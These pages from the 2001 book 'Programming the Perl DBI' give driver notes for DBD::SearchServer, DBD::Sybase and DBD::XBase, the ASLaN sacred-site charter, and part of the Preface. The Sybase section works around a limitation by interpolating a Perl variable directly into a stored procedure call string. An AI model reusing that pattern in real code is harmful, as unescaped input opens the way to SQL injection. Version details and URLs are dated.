The driver author is Davide Migliavacca. He can be contacted via the dbi-users mailing list. Davide Migliavacca has no relationship with PCDOCS/Fulcrum, the maker of SearchServer, and particularly no contact with product support for PCDOCS/Fulcrum customers.

Supported database versions and options

The DBD::SearchServer module supports PCDOCS/Fulcrum SearchServer, versions 2.x thru 3.5.

Fulcrum SearchServer is a very powerful text-retrieval system with a SQL interface. You should not expect to find a full-fledged SQL RDBMS here. Refer to the product documentation for details about the query language.

For further information about SearchServer, refer to:

http://www.pcdocs.com

Differences from the DBI specification

DBD::SearchServer doesn't fully parse the statement until it's executed. Attributes like $sth->{NUM_OF_FIELDS} aren't available until after $sth->execute( ) has been called. This is valid behavior but is important to note when porting applications originally written for other drivers.

Connect Syntax

Under Unix, you may specify where SearchServer will find the database tables by using a set of environment variables: FULSEARCH, FULCREATE, and FULTEMP. So the connect string is always just:

dbi:SearchServer:

Under WIN32, you may use the fully qualified DSN syntax using the ODBC data source name as the third component of the connect string:

dbi:SearchServer:DSN

There are no driver-specific attributes for the DBI->connect() method.

DBD::SearchServer supports an unlimited number of concurrent database connections to the same server.

Datatypes

Numeric data handling

SearchServer has two numeric datatypes: INTEGER and SMALLINT. INTEGER (or INT) is an unsigned 32-bit binary integer with 10 digits of precision. SMALLINT is a signed 16-bit binary integer with 5 digits of precision.

String data handling

SearchServer supports the following string datatypes:

CHAR(size)
VARCHAR(size)
APVARCHAR(size)

A CHAR column is of fixed size, whereas a VARCHAR column can be of varying length up to the specified maximum size. If the size is not specified, it defaults to 1. The maximum size for a CHAR or VARCHAR column is 32,767.

APVARCHAR is a special datatype. You can have at most one APVARCHAR column per table; it is designed to contain the full text of the document to be indexed and it is used in queries to retrieve the text. It is eventually modified to identify spots where the query matched. The maximum length of the APVARCHAR column is 2,147,483,647.

The CHAR type is fixed-length and blank-padded to the right.

SearchServer has its own conversion functionality for national language character sets. Basically, it treats all text as being specified in one of three internal character sets (FTICS). It is up to the application to use character sets consistently. The document readers (software that is used by SearchServer to actually access documents when indexing) are responsible for translating from other characters sets to FTICS. A number of "translation" filters are distributed with the product.

ISO Latin 1 (8859-1) is supported. See the "Character Sets" section of the SearchSQL Reference Manual for more details on character set issues.

Date data handling

SearchServer supports only a DATE datatype. A DATE can have any value from January 1, 100 AD to December 31, 2047 AD with one-day resolution. Rows in tables have an automatic read-only FT_TIMESTAMP column with a better resolution, but it is not of a DATE type (it is an INTEGER). Also, only date literals can be used with DATE columns.

The date format is YYYY-MM-DD (ISO standard). There are provisions for other formats, but their use is discouraged.

Only the ISO date format is recognized for input.

If a two-digit year value is entered, then 1900 is added to the value. However, this isn't supported functionality, for good reason.

No date/time arithmetic or functions are provided, and there is no support for time zones.

LONG/BLOB data handling

The APVARCHAR type can hold up to 2 GB.

LongReadLen and LongTruncOk are ignored due to very different semantics of the APVARCHAR type.

You need to use the undocumented blob_read( ) method to fetch data from an APVARCHAR column. Inserting an APVARCHAR column happens indirectly by specifying an external document in the FT_SFNAME reserved column. Document data is not really inserted into the tables, it is indexed. Later, however, you can fetch the document selecting the APVARCHAR column.

Other data handling issues

The DBD::SearchServer driver does not support the type_info( ) method.

Transactions, Isolation, and Locking

DBD::SearchServer does not support transactions.

Locking is performed based on the characteristics of the table, set at creation time or modified later with an external utility, ftlock.

By default, ROWLOCKING is applied, which applies "transient" locks during normal operations including select, searched update, and delete. These locks should not prevent reading the affected rows, but will block additional concurrent modifications, and prevent reindexing of the locked rows.

If set to NOLOCKING, no locking will be performed on that table by the engine, meaning that data integrity is left for the application to manage. Please read the documentation carefully before playing with these parameters; there is additional feedback with the PERIODIC or IMMEDIATE indexing mode.

Rows returned by a SELECT statement can be locked to prevent them from being changed by another transaction, by appending FOR UPDATE to the select statement.

There is no explicit table lock facility. You can prevent a table schema being modified, dropped, or even reindexed using PROTECT TABLE, but this does not include row-level modifications, which are still allowed. UNPROTECT TABLE restores normal behavior.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is not case-sensitive.

Table join syntax

SearchServer does not really support joins, however it does support a kind of view mechanism.

With views, tables must be located on the same node and have the same schema. Only read-only access is granted with views, and they have to be described using a special syntax file. Please refer to the "Data Administration and Preparation" manual for more information on views.

Table and column names

Letters, numbers, and underscores ( _) are valid characters in identifiers. The maximum size of table and column names is not known at this time.

SearchServer converts all identifiers to uppercase. Table and column names are not case-sensitive. National characters can be used in identifier names.

Row ID

The SearchServer "row id" pseudocolumn is called FT_CID and is of the INTEGER datatype. FT_CID can be used in a WHERE clause, but only with the = operator.

Automatic key or sequence generation

SearchServer does not support automatic key generation such as "auto increment" or "system generated" keys. However, the integer FT_CID pseudocolumn is not reissued when rows are deleted.

There is no support for sequence generators.

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

Positioned updates and deletes are supported using the WHERE CURRENT OF syntax. For example:

$dbh->do("UPDATE ... WHERE CURRENT OF $sth->{CursorName}");

Parameter Binding

Both the ? and :1 style of placeholders are supported by driver emulation.

The TYPE attribute to bind_ param() is ignored, so no warning is generated for unsupported values.

Stored Procedures

There are no stored procedures or functions in SearchServer.

Table Metadata

DBD::SearchServer supports the table_info() method.

The COLUMNS system table contains detailed information about all columns of all the tables in the database, one row per column. The COLUMNS system table uses the INDEX_MODE column to identify indexed columns and which indexing mode is used for them.

Driver-Specific Attributes and Methods

DBD::SearchServer has no driver-specific database handle attributes. It does have one driver-specific statement handle attribute:

ss_last_row_id

This attribute is read-only and is valid after an INSERT, DELETE, or UPDATE statement. It will report the FT_CID (row ID) of the last affected row in the statement. You'll have to prepare/execute the statement (as opposed to simply do()-ing it) in order to fetch the attribute.

There are no private methods.

DBD::Sybase -- For Sybase and Microsoft SQL Server

General Information

Driver version

DBD::Sybase version 0.14

Feature summary

Transactions                           Yes
Locking                                Yes, implicit and explicit
Table joins                            Yes, inner and outer
LONG/LOB datatypes                     Yes, up to 2 GB
Statement handle attributes available  After execute(  )
Placeholders                           Yes, "?" style (native), see text below
Stored procedures                      Yes
Bind output values                     No, all values returned via fetch methods
Table name letter case                 Sensitive, stored as defined, configurable
Field name letter case                 Sensitive, stored as defined, configurable
Quoting of otherwise invalid names     Yes, via double quotes
Case-insensitive "LIKE" operator       No
Server table ROW ID pseudocolumn       No
Positioned update/delete               No
Concurrent use of multiple handles     Statement handles restricted, see below

Author and contact details

The driver author is Michael Peppler. He can be contacted via the dbi-users mailing list, or at mpeppler@peppler.org.

Supported database versions and options

The DBD::Sybase module supports Sybase 10.x and 11.x, and offers limited support for accessing Sybase 4.x and Microsoft MS-SQL servers, assuming availability of Sybase OpenClient, or the FreeTDS libraries.

The standard release of MS-SQL 7 can not be accessed using the Sybase libraries, but can be used using the FreeTDS libraries. There is a patch for MS-SQL 7 to allow Sybase clients to connect:

http://support.microsoft.com/support/kb/articles/q239/8/83.asp

The FreeTDS libraries (www.freetds.org) is an Open Source effort to reverse engineer the TDS (Tabular Data Stream) protocol that both Sybase and Microsoft use. FreeTDS is still in alpha, but DBD::Sybase builds cleanly against the latest release and suppports most functions (apart from ?-style placeholders).

Here are some URLs to more database/driver specific information:

http://www.sybase.com

http://techinfo.sybase.com

http://sybooks.sybase.com

http://www.microsoft.com/sql

http://www.freetds.org

Differences from the DBI specification

The LongReadLen and LongTruncOk attributes are not supported.

Note that DBD::Sybase does not fully parse the statement until it's executed. Thus, attributes like $sth->{NUM_OF_FIELDS} are not available until after $sth->execute( ) has been called. This is valid behavior but is important to note when porting applications originally written for other drivers.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, has the following format:

dbi:Sybase:attrs

where attrs is a semicolon-separated list of key=value pairs. Valid attributes include:

server

Specifies the Sybase server to connect to.

database

Specifies the database within the server that should be made the default database for this session (via USE database).

charset

Specifies the client character set to use. Useful if the client's default character set is different from the server. Using this will enable automatic character conversion from one character set to the other.

DBD::Sybase supports an unlimited number of concurrent database connections to one or more databases.

It is not normally possible for Sybase clients to prepare/execute a new statement handle while still fetching data from another statement handle that is associated with the same database handle. However, DBD::Sybase emulates this process by opening a new connection that will automatically be closed when the new statement handle is destroyed. You should be aware that there are some subtle but significant transaction issues with this approach.

Datatypes

Numeric data handling

The driver supports INTEGER, SMALLINT, TINYINT, MONEY, SMALLMONEY, FLOAT, REAL, DOUBLE, NUMERIC(p,s), and DECIMAL(p,s).

INTEGER is always a 32-bit int, SMALLINT is 16-bit, and TINYINT is 8-bit. All others except the NUMERIC/DECIMAL datatypes are hardware specific. Precision for NUMERIC/DECIMAL is from 1 to 38, and scale is from to 38.

NUMERIC/DECIMAL values are returned as Perl strings by default, even if the scale is and the precision is small enough to fit in an integer value. All other numbers are returned in native format.

String data handling

DBD::Sybase supports CHAR, VARCHAR, BINARY, and VARBINARY, all limited to 255 characters in length. The CHAR type is fixed-length and blank-padded.

Sybase automatically converts CHAR and VARCHAR data between the character set of the server (see the syscharset system table) and the character set of the client, defined by the locale setting of the client. The BINARY and VARBINARY types are not converted. UTF-8 is supported.

See the "OpenClient International Developer's Guide" in the Sybase OpenClient manuals for more on character set issues.

Strings can be concatenated using the SQL + operator.

Date data handling

Sybase supports the DATETIME and SMALLDATETIME values. A DATETIME can have a value from Jan 1 1753 to Dec 31, 9999 with a 300th of a second resolution. A SMALLDATETIME has a range of Jan 1 1900 to Jun 6 2079 with a one-minute resolution.

The current date on the server is obtained with the GETDATE( ) SQL function.

The Sybase date format depends on the locale settings for the client. The default date format is based on the "C" locale:

Feb 16 1999 12:07PM

In this same locale, Sybase understands several input formats in addition to the one above:

2/16/1998 12:07PM
1998/02/16 12:07
1998-02-16 12:07
19980216 12:07

If the time portion is omitted, it is set to 00:00. If the date portion is omitted, it is set to Jan 1 1900. If the century is omitted, it is assumed to be 2000 if year < 50, and 1900 if year >= 50.

You can use the special _date_fmt( ) private method (accessed via $dbh->func( )) to change the date input and output format. The formats are based on Sybase's standard conversion routines. The following subset of available formats has been implemented:

LONG        - Nov 15 1998 11:30:11:496AM
SHORT       - Nov 15 1998 11:30AM
DMY4_YYYY   - 15 Nov 1998
MDY1_YYYY   - 11/15/1998
DMY1_YYYY   - 15/11/1998
HMS         - 11:30:11

Use the CONVERT( ) SQL function to convert date and time values from other formats. For example:

UPDATE a_table
    SET date_field = CONVERT(datetime_field, '1999-02-21', 105)

CONVERT( ) is a generic conversion function that can convert to and from most datatypes. See the CONVERT( ) function in Chapter 2 of the Sybase Reference Manual.

Arithmetic on date/time types is done on dates via the DATEADD( ), DATEPART( ), and DATEDIFF( ) Transact SQL functions. For example:

SELECT DATEDIFF(ss, date1, date2)

returns the difference in seconds between date1 and date2.

Sybase does not understand time zones at all, except that the GETDATE( ) SQL function returns the date in the time zone that the server is running in (via localtime).

The following SQL expression can be used to convert an integer "seconds since 1-jan-1970" value ("Unix time") to the corresponding database date/time:

DATEADD(ss, unixtime_field, 'Jan 1 1970')

Note however that the server does not understand time zones, and will therefore give the local Unix time on the server, and not the correct value for the GMT time zone.

If you know that the server runs in the same time zone as the client, you can use:

use Time::Local;
$time_to_database = timegm(localtime($unixtime));

to convert the Unix time value before sending it to Sybase.

To do the reverse, converting from a database date/time value to Unix time, you can use:

DATEDIFF(ss, 'Jan 1 1970', datetime_field)

The same GMT versus localtime caveat applies in this case. If you know that the server runs in the same time zone as the client, you can convert the returned value to the correct GMT-based value with this Perl expression:

use Time::Local;
$time = timelocal(gmtime($time_from_database));

LONG/BLOB data handling

Sybase supports an IMAGE and a TEXT type for LONG/BLOB data. Each type can hold up to 2 GB of binary data, including nul characters. The main difference between an IMAGE and a TEXT column lies in how the client libraries treat the data on input and output. TEXT data is entered and returned "as is." IMAGE data is returned as a long hex string, and should be entered in the same way.

LongReadLen and LongTrunkOk attributes have no effect. The default limit for TEXT/IMAGE data is 32 KB, but this can be changed by the SET TEXTSIZE Transact-SQL command.

Bind parameters can not be used to insert TEXT or IMAGE data to Sybase.

Other data handling issues

The DBD::Sybase driver does not support the type_info( ) method yet.

Sybase does not automatically convert numbers to strings or strings to numbers. You need to explicitly call the CONVERT SQL function. However, placeholders don't need special handling because DBD::Sybase knows what type each placeholder needs to be.

Transactions, Isolation, and Locking

DBD::Sybase supports transactions. The default transaction isolation level is READ COMMITTED.

Sybase supports READ COMMITED, READ UNCOMMITED, and SERIALIZABLE isolation levels. The level be changed per-connection or per-statement by executing SET TRANSACTION_ISOLATION LEVEL x, where x is for READ UNCOMMITED, 1 for READ COMMITED, and 3 for SERIALIZABLE.

By default, a READ query will acquire a shared lock on each page that it reads. This will allow any other process to read from the table, but will block any process trying to obtain an exclusive lock (for update). The shared lock is only maintained for the time the server needs to actually read the page, not for the entire length of the SELECT operation. (11.9.2 and later servers have various additional locking mechanisms.)

There is no explicit LOCK TABLE statement. Appending WITH HOLDLOCK to a SELECT statement can be used to force an exclusive lock to be acquired on a table, but is rarely needed.

The correct way to do a multi-table update with Sybase is to wrap the entire operation in a transaction. This will ensure that locks will be acquired in the correct order, and that no intervening action from another process will modify any rows that your operation is currently modifying.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is case-sensitive.

Table join syntax

Outer joins are supported using the =* (right outer join) and *= (left outer join) operators:

SELECT customers.customer_name, orders.order_date
FROM customers, orders
WHERE customers.cust_id =* orders.cust_id

For all rows in the customer's table that have no matching rows in the orders table, Sybase returns NULL for any select list expressions containing columns from the orders table.

Table and column names

The names of identifiers, such as tables and columns, cannot exceed thirty characters in length.

The first character must be an alphabetic character (as defined by the current server character set) or an underscore ( _ ). Subsequent characters can be alphabetic, and may include currency symbols, @, #, and _. Identifiers can't include embedded spaces or the %, !, ^, *, or . symbols. In addition, identifiers must not be on the "reserved word" list (see the Sybase documentation for a complete list).

Table names or column names may be quoted if the set quoted_identifier option is turned on. This allows the user to get around the reserved word limitation. When this option is set, character strings enclosed in double quotes are treated as identifiers, and strings enclosed in single quotes are treated as literal strings.

By default identifiers are case-sensitive. This can be turned off by changing the default sort order for the server.

National characters can be used in identifier names without quoting.

Row ID

Sybase does not support a pseudo "row ID" column.

Automatic key or sequence generation

Sybase supports an IDENTITY feature for automatic key generation. Declaring a table with an IDENTITY column will generate a new value for each insert. The values assigned always increase but are not guaranteed to be sequential.

To fetch the value generated and used by the last insert, you can:

SELECT @@IDENTITY

Sybase does not support sequence generators, although ad hoc stored procedures to generate sequence numbers are quite easy to write.[76]

[76]See http://techinfo.sybase.com/css/techinfo.nsf/DocID/ID=860 for a complete explanation of the various possibilities.

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

Sybase does not support positioned updates or deletes.

Parameter Binding

Parameter binding is directly suported by Sybase. However, there are two downsides that you should be aware of.

Firstly, DBD::Sybase creates an internal stored procedure for each prepare() call that includes ? style parameters. These stored procedures live in the tempdb database, and are only destroyed when the connection is closed. It is quite possible to run out of tempdb space if a lot of prepare() calls with placeholders are being made in a script.

Secondly, because all the temporary stored procedures are created in tempdb, this causes a potential hot spot due to the locking of system tables in tempdb. This performance problem may be removed in an upcoming release of Sybase (possibly 11.9.4 or 12.0).

The :1 placeholder style is not supported and the TYPE attribute to bind_ param() is currently ignored, so unsupported values don't generate a warning. Finally, trying to bind a TEXT or IMAGE datatype will fail.

Stored Procedures

Sybase stored procedures are written in Transact-SQL, which is Sybase's procedural extension to SQL.

Stored procedures are called exactly the same way as regular SQL, and can return the same types of results (i.e., a SELECT in the stored procedure can be retrieved with $sth->fetch()).

If the stored procedure returns data via OUTPUT parameters, then these must be declared first:

$sth = $dbh->prepare(qq[
   declare \@name varchar(50)
   exec getName 1234, \@name output
]);

Stored procedures can't be called with bind (?) parameters. So the following code would be illegal:

$sth = $dbh->prepare("exec my_proc ?");  # illegal
$sth->execute($foo);

Use this code instead:

$sth = $dbh->prepare("exec my_proc '$foo'");
$sth->execute();

Because Sybase stored procedures almost always return more than one result set, you should always make sure to use a loop until syb_more_results is 0:

do {
  while($data = $sth->fetch) {
     ...
  }
} while($sth->{syb_more_results});

Table Metadata

DBD::Sybase supports the table_info() method.

The syscolumns table has one row per column per table. See the definitions of the Sybase system tables for details. However, the easiest method to obtain table metadata is to use the sp_help stored procedure.

The easiest way to get detailed information about the indexes of a table is to use the sp_helpindex (or sp_helpkey) stored procedure.

Driver-Specific Attributes and Methods

DBD::Sybase has the following driver-specific database handle attributes:

syb_show_sql

If set, then the current statement is included in the string returned by $dbh->errstr.

syb_show_eed

If set, then extended error information is included in the string returned by $dbh->errstr. Extended error information includes the index causing a duplicate insert to fail, for example.

DBD::Sybase has the following driver-specific statement handle attributes:

syb_more_results

Described elsewhere in this document.

syb_result_type

Returns the numeric result type of the current result set. Useful when executing stored procedures to determine what type of information is currently fetchable (normal select rows, output parameters, status results, etc.).

One private method is provided:

_date_fmt

Sets the default date conversion and display formats. See the description elsewhere in this document.

Other Significant Database or Driver Features

Sybase and DBD::Sybase allow multiple statements to be prepared with one call and then executed with one call. The results are fed back to the client as a stream of tabular data. Stored procedures can also return a stream of multiple data sets. Each distinct set of results is treated as a normal single result set, so fetch() returns undef at the end of each set. To see if there are more data sets to follow, the syb_more_results attribute can be checked. Here is a typical loop making use of this Sybase-specific feature:

do {
  while($d = $sth->fetch) {
    ... do something with the data
  }
} while($sth->{syb_more_results});

Sybase also has rich and powerful stored procedure and trigger functionality and encourages you to use them.

DBD::XBase

General Information

Driver version

DBD::XBase version 0.145

Feature summary

Transactions                           No
Locking                                No
Table joins                            No
LONG/LOB datatypes                     Yes, up to 2 GB
Statement handle attributes available  After execute(  )
Placeholders                           Yes, "?" and ":1" styles (emulated)
Stored procedures                      No
Bind output values                     No
Table name letter case                 Sensitive, stored as defined
Field name letter case                 Insensitive, stored as uppercase
Quoting of otherwise invalid names     No
Case-insensitive "LIKE" operator       Yes, "LIKE"
Server table ROW ID pseudocolumn       No
Positioned update/delete               No
Concurrent use of multiple handles     Unrestricted

Author and contact details

The driver author is Jan Pazdziora. He can be contacted at adelton@fi.muni.cz or via the dbi-users mailing list.

Supported database versions and options

The DBD::XBase module supports dBaseIII and IV and Fox* flavors of dbf files, including their dbt and fpt memo files.

Very comprehensive information about the XBase format, along with many references, can be found at:

http://www.e-bachmann.dk/docs/xbase.htm

Differences from the DBI specification

DBD::XBase does not fully parse the statement until it is executed. Thus attributes like $sth->{NUM_OF_FIELDS} are not available until after $sth->execute( ) has been called. This is valid behavior but is important to note when porting applications written originally for other drivers.

Connect Syntax

The DBI->connect() Data Source Name, or DSN, should include the directory where the dbf files are located as the third part:

dbi:XBase:/path/to/directory

It defaults to the current directory.

There are no driver-specific attributes for the DBI->connect() method.

DBD::XBase supports an unlimited number of concurrent database connections to one or more databases.

Datatypes

Numeric data handling

DBD::XBase supports generic NUMBER(p,s), FLOAT(p,s), and INTEGER(l) types. The maximum scale and precision is limited by Perl's handling of numbers. In the dbf files, the numbers are stored as ASCII strings, binary integers, or floats.

Existing dbf files come with the field types defined in the dbf file header. Numeric types can be either stored as ASCII string or in some binary format. DBD::XBase (via XBase.pm) parses this information and reads and writes the fields in that format.

When you create a new dbf file via CREATE TABLE, the numeric fields are always created in the traditional XBase way, as an ASCII string. (The XBase.pm module offers more control over this process.)

Numeric fields are always returned as Perl numeric values, not strings. Consequently, numbers outside of Perl's valid range are not possible. This restriction might be withdrawn in the future.

String data handling

DBD::XBase has CHAR(length) and VARCHAR(length) datatypes.

The maximum length is 65535 characters for both types.[77]

[77]This limit is effective even though the older dBases allowed only 254 characters. Therefore, newly created dbf files might not be portable to older XBase-compatible software.

Both CHAR and VARCHAR are blank-padded, so ChopBlanks applies to both.

Data with the eighth bit set are handled transparently. No national language character set conversions are done. Since the string types can store binary data, Unicode strings can be stored.

Date data handling

DBD::XBase supports these date and time types:

DATE
DATETIME
TIME

The DATE type holds an eight-character string in the format YYYYMMDD. Only that format can be used for input and output. DBD::XBase doesn't check for validity of the values.

The DATETIME and TIME types internally store a four-byte integer day value and a four-byte integer seconds value (counting 1/1000's of a second). DBD::XBase inputs and outputs these types using a floating-point Unix-style "seconds-since-epoch" value (possibly with decimal part). This might change in the future.

There is no way to get the current date/time, and no SQL date/time functions are supported. There is also no concept of time zones.

LONG/BLOB data handling

DBD::XBase supports a MEMO datatype. BLOB can be used as an alias for MEMO. Strings up to 2 GB can be stored in MEMO fields (for all types of XBase memo files).

With dBaseIII dbt files, the memo field cannot contain a 0x1A byte. With dBaseIV and Fox* dbt/fpts, any character values can be stored.

No special handling is required for fetching or inserting MEMO fields. The LongReadLen and LongTruncOk attributes are currently ignored.

Other data handling issues

The DBD::XBase driver supports the type_info( ) method.

DBD::XBase supports automatic conversions between datatypes wherever it's reasonable.

Transactions, Isolation, and Locking

DBD::XBase does not support transactions and does not lock the tables it is working on.

SQL Dialect

Case sensitivity of LIKE operator

The LIKE operator is not case-sensitive.

Table join syntax

DBD::XBase does not support table joins.

Table and column names

The XBase format stores each table as a distinct file. Memo fields are stored in an additional file. The table names are limited by the filesystem's maximum filename length. They are stored and treated as entered. The case-sensitivity depends on the filesystem that the file is stored on.

Column names are limited to eleven characters. They are stored as uppercase, but are not case-sensitive.

Table and field names have to start with letter. Any combination of letters, digits, and underscores may follow. National character sets can be used.

DBD::XBase does not support putting quotes around table or column names.

Row ID

DBD::XBase does not support a "row ID" pseudocolumn.

Automatic key or sequence generation

DBD::XBase does not support automatic key generation or sequence generators owing to the limitations of the XBase format.

Automatic row numbering and row count limiting

Neither automatic row numbering nor row count limitations are supported.

Positioned updates and deletes

DBD::XBase does not support positioned updates or deletes.

Parameter Binding

Parameter binding is implemented in the driver and supports the ?, :1, and :name placeholder styles.

The TYPE attribute to bind_ param() is ignored. Consequently, unsupported values of the TYPE attribute do not currently generate a warning.

Stored Procedures

Stored procedures are not applicable in the XBase format.

Table Metadata

DBD::XBase supports the table_info method.

There is no way to get detailed information about the columns of a table (at the moment) other than by doing a SELECT * FROM table and using the NAME and TYPE attributes of the statement handle.

Keys and indexes are not currently supported.

Driver-Specific Attributes and Methods

DBD::XBase has just one driver-specific attribute and that is valid for both database and statement handles:

xbase_ignorememo

Ignore memo files and thus don't fail to read a table where the memo file is missing or corrupt.

DBD::XBase has no generally useful private methods.

Previous | Home | Next
A.15. Training | Book Index | C. ASLaN Sacred Site Charter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


ASLaN Sacred Site Charter (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Appendix C. ASLaN Sacred Site Charter

If this book has piqued your interest in megalithic sites, please read the following charter outlining what is, and what isn't, respectable behavior at these sites. Many sites have been lost over the centuries due to vandalism and willful destruction. We would like to ensure that no more are lost for the same reasons.

In an effort to preserve our dwindling megalithic sites, the following requests are commonly included in literature that discusses megaliths. While a simple plea such as "Please don't trash megalithic sites" might be more appropriate for a book of this type, such a plea is, sadly, often ignored. We are including this document in the hopes that it will have more impact and impart a greater understanding of the issues involved.

We'd also like to draw your attention to the fact that many sites are in government care and, as such, any destructive behavior is illegal.

Doom and gloom aside, the sites are there to be enjoyed and have different meanings for different people. Enjoy!

  • Please take care when visiting sacred sites to leave them as the next visitor would like to find them. Respect the land and all its inhabitants -- people, animals, and plants.

  • Digging holes for any purpose will damage plants and probably insects and archaeological remains. Damaging archaeology makes it harder for us, and future generations, to understand the history of the site. Damaging any aspect of the site will damage the spirit of the place.

  • Lighting fires can cause similar damage to digging. A fire can damage standing stones -- if they get too hot, they split. Fires can spread quickly in summer, killing wildlife, and it can be very difficult to make sure a fire is truly out. Fires also cause archaeological damage by preventing geophysical surveys and contaminating archaeological layers with ash and charcoal. Heat, candle wax, and graffiti damage moss and lichens, which can take decades to recover. Damage caused by fires will damage the spirit of the place.

  • If an offering seems appropriate, please think about all its effects. Don't leave artificial materials. Choose your offerings carefully so that they can't be mistaken for litter. Please don't bury things. Biodegradable offerings decay -- please bear this in mind if you leave them. If there are already offerings at the site, consider the effects of adding more.

  • Please don't take anything, except litter, from a site. Much of the vegetation around sacred sites is unusual or rare, so don't pick flowers. Don't take stones -- they may be an important part of the site in ways that aren't obvious.

  • In times past, it was traditional to leave no traces of any ritual because of persecution. This tradition is worth reviving because it shows reverence to nature and the spirit of the place.

  • Don't change the site; let the site change you.

ASLaN is the Ancient Sacred Landscape Network, formed to be a national focus for the preservation and protection of sacred sites and their settings, and maintenance of and access to them. More information on ASLaN can be found at:

http://www.symbolstone.org/archaeology/aslan

Previous | Home | Next
B. Driver and Database Characteristics | Book Index | Index
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Preface (Programming the Perl DBI)

 Programming the Perl DBISearch this book

Preface

The DBI is the standard database interface for the Perl programming language. The DBI is database-independent, which means that it can work with just about any database, such as Oracle, Sybase, Informix, Access, MySQL, etc.

While we assume that readers of this book have some experience with Perl, we don't assume much familiarity with databases themselves. The book starts out slowly, describing different types of databases and introducing the reader to common terminology.

This book is not solely about the DBI -- it also concerns the more general subject of storing data in and retrieving data from databases of various forms. As such, this book is split into two related, but standalone, parts. The first part covers techniques for storing and retrieving data without the DBI, and the second, much larger part, covers the use of the DBI and related technologies.

Throughout the book, we assume that you have a basic grounding in programming with Perl and can put together simple scripts without instruction. If you don't have this level of Perl awareness, we suggest that you read some of the Perl books listed in Section 0.1, "Resources ".

Once you're ready to read this book, there are some shortcuts that you can take depending on what you're most interested in reading about. If you are interested solely in the DBI, you can skip Chapter 2, "Basic Non-DBI Databases " without too much of a problem. On the other hand, if you're a wizard with SQL, then you should probably skip Chapter 3, "SQL and Relational Databases " to avoid the pain of us glossing over many fine details. Chapter 7, "ODBC and the DBI " is a comparison between the DBI and ODBC and is mainly of interest to database geeks, design aficionados, and those people who have Win32::ODBC applications and are desperately trying to port them to DBI.

Here's a rundown of the book, chapter by chapter:

Chapter 1, "Introduction "

This introduction sets up the general feel for the book.

Chapter 2, "Basic Non-DBI Databases "

This chapter covers the basics of storing and retrieving data either with core Perl functions through the use of delimited or fixed-width flat-file databases, or via non-DBI modules such as AnyDBM_File, Storable, Data::Dumper and friends. Although the DBI isn't used in this chapter, the way the Storable and Data::Dumper modules are used to pack Perl data structures into strings can easily be applied to the DBI.

Chapter 3, "SQL and Relational Databases "

This chapter is a basic overview of SQL and relational databases and how you can write simple but powerful SQL statements to query and manipulate your database. If you already know some SQL, you can skip this chapter. If you don't know SQL, we advise you to read this chapter since the later chapters assume you have a basic knowledge of SQL and relational databases.

Chapter 4, "Programming with the DBI "

This chapter introduces the DBI to you by discussing the architecture of the DBI and basic DBI operations such as connecting to databases and handling errors. This chapter is essential reading and describes the framework that the DBI provides to let you write simple, powerful, and robust programs.

Chapter 5, "Interacting with the Database "

This chapter is the meat of the DBI topic and discusses manipulating the data within your database -- that is, retrieving data already stored in your database, inserting new data, and deleting and updating existing data. We discuss the various ways in which you can perform these operations from the simple "get it working" stage to more advanced and optimized techniques for manipulating data.

Chapter 6, "Advanced DBI "

This chapter covers more advanced topics within the sphere of the DBI such as specifying attributes to fine-tune the operation of DBI within your applications, working with LONG/LOB datatypes, statement and database metadata, and finally transaction handling.

Chapter 7, "ODBC and the DBI "

This chapter discusses the differences in design between DBI and ODBC, the other portable database API. And, of course, this chapter highlights why DBI is easier to program with.

Chapter 8, "DBI Shell and Database Proxying "

This chapter covers two topics that aren't exactly part of the core DBI, per se, but are extremely useful to know about. First, we discuss the DBI shell, a command-line tool that allows you to connect to databases and issue arbitrary queries. Second, we discuss the proxy architecture that the DBI can use, which, among other things, allows you to connect scripts on one machine to databases on another machine without needing to install any database networking software. For example, you can connect a script running on a Unix box to a Microsoft Access database running on a Microsoft Windows box.

Appendix A, "DBI Specification "

This appendix contains the DBI specification, which is distributed with DBI.pm.

Appendix B, "Driver and Database Characteristics "

This appendix contains useful extra information on each of the commonly used DBDs and their corresponding databases.

Appendix C, "ASLaN Sacred Site Charter"

This appendix contains the charter for the Ancient Sacred Landscape Network, which focuses on preserving sites such as the megalithic sites used for examples in this book.

0.1. Resources

To help you navigate some of the topics in this book, here are some resources that you might want to check out before, during, and after reading this book:

http://www.symbolstone.org/technology/perl/DBI

The DBI home page. This site contains lots of useful information about DBI and where to get the various modules from. It also has links to the very active dbi-users mailing list and archives.

http://www.perl.com/CPAN

This site includes the Comprehensive Perl Archive Network multiplexer, upon which you find a whole host of useful modules including the DBI.

An Introduction to Database Systems, by C. J. Date

This book is the standard textbook on database systems and is highly recommended reading.

A Guide to the SQL Standard, by C. J. Date and Hugh Darwen

An excellent book that's detailed but small and very readable.

http://w3.one.net/~jhoffman/sqltut.htm
http://www.jcc.com/SQLPages/jccs_sql.htm
http://www.contrib.andrew.cmu.edu/~shadow/sql.html

These web sites contain information, specifications, and links on the SQL query language, of which we present a primer in Chapter 3, "SQL and Relational Databases ". Further information can be found by entering "SQL tutorial" or similar expressions into your favorite web search engine.

Learning Perl, by Randal Schwartz and Tom Christiansen

A hands-on tutorial designed to get you writing useful Perl scripts as quickly as possible. Exercises (with complete solutions) accompany each chapter. A lengthy new chapter introduces you to CGI programming, while touching also on the use of library modules, references, and Perl's object-oriented constructs.

Programming Perl, by Larry Wall, Tom Christiansen, and Randal Schwartz

The authoritative guide to Perl version 5, the scripting utility that has established itself as the programming tool of choice for the World Wide Web, Unix system administration, and a vast range of other applications. Version 5 of Perl includes object-oriented programming facilities. The book is coauthored by Larry Wall, the creator of Perl.

The Perl Cookbook, by Tom Christiansen and Nathan Torkington

A comprehensive collection of problems, solutions, and practical examples for anyone programming in Perl. Topics range from beginner questions to techniques that even the most experienced of Perl programmers will learn from. More than just a collection of tips and tricks, The Perl Cookbook is the long-awaited companion volume to Programming Perl, filled with previously unpublished Perl arcana.

Writing Apache Modules with Perl and C, by Lincoln Stein and Doug MacEachern

